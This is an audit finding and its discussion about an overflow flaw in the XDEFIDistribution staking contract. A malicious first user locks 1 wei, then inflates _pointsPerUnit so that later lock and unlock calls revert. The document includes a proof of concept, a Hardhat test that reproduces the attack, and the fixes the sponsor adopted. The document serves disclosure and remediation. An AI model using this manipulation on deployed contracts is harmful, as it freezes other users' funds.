Malicious early user/attacker can malfunction the contract and even freeze users' funds in edge cases

[code423n4]

Handle

WatchPug

Vulnerability details

https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L151-L151

    _pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached);

In the current implementation, _pointsPerUnit can be changed in updateDistribution() which can be called by anyone.

A malicious early user can lock() with only 1 wei of XDEFI and makes _pointsPerUnit to be very large, causing future users not to be able to lock() and/or unlock() anymore due to overflow in arithmetic related to _pointsMultiplier.

As a result, the contract can be malfunctioning and even freeze users' funds in edge cases.

PoC

Given:

• bonusMultiplierOf[30 days] = 100

1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1;
2. Alice sends 170141183460469 wei of XDEFI to the contract and calls updateDistribution():

    _pointsPerUnit += ((170141183460469 * 2**128) / 1);

3. Bob tries to lock() 1,100,000 * 1e18 of XDEFI for 30 days, the tx will fail, as _pointsPerUnit * units overlows;
4. Bob lock() 1,000,000 * 1e18 of XDEFI for 30 days;
5. The rewarder sends 250,000 * 1e18 of XDEFI to the contract and calls updateDistribution():

    _pointsPerUnit += ((250_000 * 1e18 * 2**128) / (1_000_000 * 1e18 + 1));

6. 30 days later, Bob tries to call unlock(), the tx will fail, as _pointsPerUnit * units overflows.

Recomandation

Uniswap v2 solved a similar problem by sending the first 1000 lp tokens to the zero address.

The same solution should work here, i.e., on constructor set an initial amount (like 1e8) for totalUnits

https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L39-L44

constructor (address XDEFI_, string memory baseURI_, uint256 zeroDurationPointBase_) ERC721("Locked XDEFI", "lXDEFI") {
        require((XDEFI = XDEFI_) != address(0), "INVALID_TOKEN");
        owner = msg.sender;
        baseURI = baseURI_;
        _zeroDurationPointBase = zeroDurationPointBase_;

        totalUnits = 100_000_000;
    }

[deluca-mike]

This is a great catch! I just tested it:

const { expect } = require("chai");
const { ethers } = require("hardhat");

const totalSupply = '240000000000000000000000000';

const toWei = (value, add = 0, sub = 0) => (BigInt(value) * 1_000_000_000_000_000_000n + BigInt(add) - BigInt(sub)).toString();

describe("XDEFIDistribution", () => {
    it("Can overflow _pointsPerUnit", async () => {
        const [god, alice, bob] = await ethers.getSigners();

        const XDEFI = await (await (await ethers.getContractFactory("XDEFI")).deploy("XDEFI", "XDEFI", totalSupply)).deployed();
        const XDEFIDistribution = await (await (await ethers.getContractFactory("XDEFIDistribution")).deploy(XDEFI.address, "https://www.xdefi.io/nfts/", 0)).deployed();

        // Give each account 2,000,000 XDEFI
        await (await XDEFI.transfer(alice.address, toWei(2_000_000))).wait();
        await (await XDEFI.transfer(bob.address, toWei(2_000_000))).wait();

        // bonusMultiplierOf[30 days] = 100
        await (await XDEFIDistribution.setLockPeriods([2592000], [100])).wait();

        // 1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1;
        await (await XDEFI.connect(alice).approve(XDEFIDistribution.address, 1)).wait();
        await (await XDEFIDistribution.connect(alice).lock(1, 2592000, alice.address)).wait();
        expect(await XDEFIDistribution.balanceOf(alice.address)).to.equal('1');
        const nft1 = (await XDEFIDistribution.tokenOfOwnerByIndex(alice.address, 0)).toString();
        expect((await XDEFIDistribution.positionOf(nft1)).units).to.equal(1);

        // 2. Alice sends 170141183460469 wei of XDEFI to the contract and calls updateDistribution()
        await (await XDEFI.connect(alice).transfer(XDEFIDistribution.address, 170141183460469)).wait();
        await (await XDEFIDistribution.connect(alice).updateDistribution()).wait();

        // 3. Bob tries to lock() 1,100,000 * 1e18 of XDEFI for 30 days, the tx will fail, as _pointsPerUnit * units overflows
        await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_100_000))).wait();
        await expect(XDEFIDistribution.connect(bob).lock(toWei(1_100_000), 2592000, bob.address)).to.be.revertedWith("_toInt256Safe failed");

        // 4. Bob lock() 1,000,000 * 1e18 of XDEFI for 30 days
        await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_000_000))).wait();
        await (await XDEFIDistribution.connect(bob).lock(toWei(1_000_000), 2592000, bob.address)).wait();
        expect(await XDEFIDistribution.balanceOf(bob.address)).to.equal('1');
        const nft2 = (await XDEFIDistribution.tokenOfOwnerByIndex(bob.address, 0)).toString();
        expect((await XDEFIDistribution.positionOf(nft2)).units).to.equal(toWei(1_000_000));

        // 5. The rewarder sends 250,000 * 1e18 of XDEFI to the contract and calls updateDistribution()
        await (await XDEFI.transfer(XDEFIDistribution.address, toWei(250_000))).wait();
        await (await XDEFIDistribution.updateDistribution()).wait();

        // 6. 30 days later, Bob tries to call unlock(), the tx will fail, as _pointsPerUnit * units overflows.
        await hre.ethers.provider.send('evm_increaseTime', [2592000]);
        await expect(XDEFIDistribution.connect(bob).unlock(nft2, bob.address)).to.be.revertedWith("_toInt256Safe failed");
    });
});

While I do like the suggestion to to totalUnits = 100_000_000; in the constructor, it will result "uneven" numbers due to the totalUnits offset. I wonder if I can resolve this but just reducing _pointsMultiplier to uint256(2**96) as per https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728.

[deluca-mike]

OK, I think I can solve this with _pointsMultiplier = uint256(2**72):

const { expect } = require("chai");
const { ethers } = require("hardhat");

const totalSupply = '240000000000000000000000000';

const toWei = (value, add = 0, sub = 0) => (BigInt(value) * 1_000_000_000_000_000_000n + BigInt(add) - BigInt(sub)).toString();

describe("XDEFIDistribution", () => {
    it("Can overflow _pointsPerUnit", async () => {
        const [god, alice, bob] = await ethers.getSigners();

        const XDEFI = await (await (await ethers.getContractFactory("XDEFI")).deploy("XDEFI", "XDEFI", totalSupply)).deployed();
        const XDEFIDistribution = await (await (await ethers.getContractFactory("XDEFIDistribution")).deploy(XDEFI.address, "https://www.xdefi.io/nfts/", 0)).deployed();

        // Give each account 100M XDEFI
        await (await XDEFI.transfer(alice.address, toWei(100_000_000))).wait();
        await (await XDEFI.transfer(bob.address, toWei(100_000_000))).wait();

        // bonusMultiplierOf[30 days] = 255
        await (await XDEFIDistribution.setLockPeriods([2592000], [255])).wait();

        // 1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1
        await (await XDEFI.connect(alice).approve(XDEFIDistribution.address, 1)).wait();
        await (await XDEFIDistribution.connect(alice).lock(1, 2592000, alice.address)).wait();
        expect(await XDEFIDistribution.balanceOf(alice.address)).to.equal('1');
        const nft1 = (await XDEFIDistribution.tokenOfOwnerByIndex(alice.address, 0)).toString();
        expect((await XDEFIDistribution.positionOf(nft1)).units).to.equal(2);

        // 2. Alice sends 100M XDEFI minus 1 wei to the contract and calls updateDistribution()
        await (await XDEFI.connect(alice).transfer(XDEFIDistribution.address, toWei(100_000_000, 0, 1))).wait();
        await (await XDEFIDistribution.connect(alice).updateDistribution()).wait();

        // 3. Bob can lock() 100M XDEFI for 30 days
        await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(100_000_000))).wait();
        await (await XDEFIDistribution.connect(bob).lock(toWei(100_000_000), 2592000, bob.address)).wait();
        expect(await XDEFIDistribution.balanceOf(bob.address)).to.equal('1');
        const nft2 = (await XDEFIDistribution.tokenOfOwnerByIndex(bob.address, 0)).toString();
        expect((await XDEFIDistribution.positionOf(nft2)).units).to.equal(toWei(255_000_000));

        // 4. The rewarder sends 40M XDEFI to the contract and calls updateDistribution()
        await (await XDEFI.transfer(XDEFIDistribution.address, toWei(40_000_000))).wait();
        await (await XDEFIDistribution.updateDistribution()).wait();

        // 5. 30 days later, Bob can call unlock()
        await hre.ethers.provider.send('evm_increaseTime', [2592000]);
        await (await XDEFIDistribution.connect(bob).unlock(nft2, bob.address)).wait();
    });
});

[deluca-mike]

In the release candidate contract, in order to preserve the math (formulas), at the cost of some accuracy, we went with a _pointsMultiplier of 72 bits.

Also, a minimum units locked is enforced, to prevent "dust" from creating a very very high _pointsPerUnit.

Tests were written in order to stress test the contract against the above extreme cases.

Further, a "no-going-back" emergency mode setter was implemented that allows (but does not force) users to withdraw only their deposits without any of the funds distribution math from being expected, in the event that some an edge case does arise.

[Ivshti]

fantastic finding, agreed with the proposed severity!

The sponsor fixes seem adequate: a lower _poinsMultiplier, a minimum lock and an emergency mode that disables reward math, somewhat similar to emergency withdraw functions in contracts like masterchef.